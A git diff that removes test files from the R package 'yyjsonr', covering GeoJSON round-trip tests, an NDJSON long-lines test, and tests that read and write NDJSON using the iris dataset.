-#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#' Using 'yyjsonr', round-trip some JSON -#' - from geojson string to R 'sf' object -#' - from R 'sf' object to geojson string -#' - from geojson string to R 'sf' object -#' -#' Then assert that the two 'sf' objects are equal -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -test_that("Basic writing works for lots of different geojson", { - - for (i in seq_along(json)) { - - # Take the JSON - js1 <- json[[i]] - - # Load it into R as 'sf' - geojson1 <- read_geojson_str(js1) - - # Write it out to JSON str - js2 <- write_geojson_str(geojson1) - - # Re-load it into R as 'sf' - geojson2 <- read_geojson_str(js2) - - # Test 'sf' representations are equal - expect_identical(geojson1, geojson2, label = names(json)[i]) - } -}) - - - diff --git a/tests/testthat/test-issue19-ndjson-long-lines.R b/tests/testthat/test-issue19-ndjson-long-lines.R deleted file mode 100644 index d6c8f5c..0000000 --- a/tests/testthat/test-issue19-ndjson-long-lines.R +++ /dev/null @@ -1,11 +0,0 @@ - - - -test_that("multiplication works", { - - filename <- "examples/ndjson-long-lines-10k-issue19.ndjson" - - expect_no_error( - read_ndjson_file(filename) - ) -}) diff --git a/tests/testthat/test-ndjson.R b/tests/testthat/test-ndjson.R deleted file mode 100644 index 7a7d315..0000000 --- a/tests/testthat/test-ndjson.R +++ /dev/null @@ -1,93 +0,0 @@ - - -ref <- iris -ref$Species <- as.character(ref$Species) - -# transposed version -tref <- lapply(seq_len(length(ref[[1]])), function(i) lapply(ref, "[[", i)) - - -if (FALSE) { - # jsonlite::stream_out(ref, file("./examples/iris.ndjson")) -} - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# Parse -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -test_that("ndjson works", { - - nd <- read_ndjson_file("./examples/iris.ndjson", type = 'df') - ndz <- read_ndjson_file("./examples/iris.ndjson.gz", type = 'df') - - expect_identical(nd , ref) - expect_identical(ndz, ref) - expect_identical(nd , ndz) - - - ndl <- read_ndjson_file("./examples/iris.ndjson", type = 'list') - expect_length(ndl, 150) - lens <- lengths(ndl) - expect_equal(lens, rep(5, 150)) - - - - nd <- read_ndjson_file("./examples/iris.ndjson", nprobe = 2, - nskip = 10, nread = 10) - ref2 <- ref[11:20,] - rownames(ref2) <- NULL - expect_identical(nd, ref2) - - - - nd <- read_ndjson_file("./examples/iris.ndjson", type = 'list', - nskip = 10, nread = 10) - expect_length(nd, 10) - expect_error(read_ndjson_file("does_not_exist.txt")) -}) - - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# Serialize -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -test_that("write_ndjson_file df works", { - file <- tempfile() - write_ndjson_file(iris, file) - res <- read_ndjson_file(file) - expect_identical(res, ref) - - res <- read_ndjson_file(file, type = 'list') - expect_identical(res, tref) -}) - - -test_that("write_ndjson_str df works", { - file <- tempfile() - write_ndjson_file(iris, file) - ref <- write_ndjson_str(iris) - res <- paste(readLines(file), collapse = "\n") - expect_identical(res, ref) -}) - -test_that("write_ndjson_file list works", { - file <- tempfile() - write_ndjson_file(tref, file) - res <- read_ndjson_file(file, type = 'list') - expect_identical(res, tref) -}) - - - -test_that("write_ndjson_str list works", { - file <- tempfile() - write_ndjson_file(tref, file) - ref <- write_ndjson_str(tref) - res <- paste(readLines(file), collapse = "\n") - expect_identical(res, ref) -}) - - - - - - -